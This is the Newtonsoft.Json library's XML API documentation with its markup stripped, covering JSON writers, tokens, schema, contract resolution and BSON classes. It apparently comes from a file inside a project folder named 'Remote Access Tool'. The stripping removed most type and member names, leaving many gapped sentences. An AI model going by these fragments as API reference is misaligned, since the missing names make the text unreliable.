fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Allows users to control class loading and mandate what class to load. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets the object's properties. The object's properties. Gets or sets the property name resolver. The property name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Specifies what messages to output for the class. Output no tracing and debugging messages. Output error-handling messages. Output warnings and error-handling messages. Output informational messages, warnings, and error-handling messages. Output all debugging and tracing messages. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper method for generating a MetaObject which calls a specific method on Dynamic that returns a result Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Returns a Restrictions object which includes our current restrictions merged with a restriction limiting our type Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 List of primitive types which can be widened. Widening masks for primitive types above. Index of the value in this array defines a type we're widening, while the bits in mask define types it can be widened to (including itself). For example, value at index 0 defines a bool type, and it only has bit 0 set, i.e. bool values can be assigned only to bool. Checks if value of primitive type can be assigned to parameter of primitive type . Source primitive type. Target primitive type. true if source type can be widened to target type, false otherwise. Checks if a set of values with given can be used to invoke a method with specified . Method parameters. Argument types. Try to pack extra arguments into the last parameter when it is marked up with . true if method can be called with given arguments, false otherwise. Compares two sets of parameters to determine which one suits better for given argument types. Returns a best method overload for given argument . List of method candidates. Argument types. Best method overload, or null if none matched. Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling 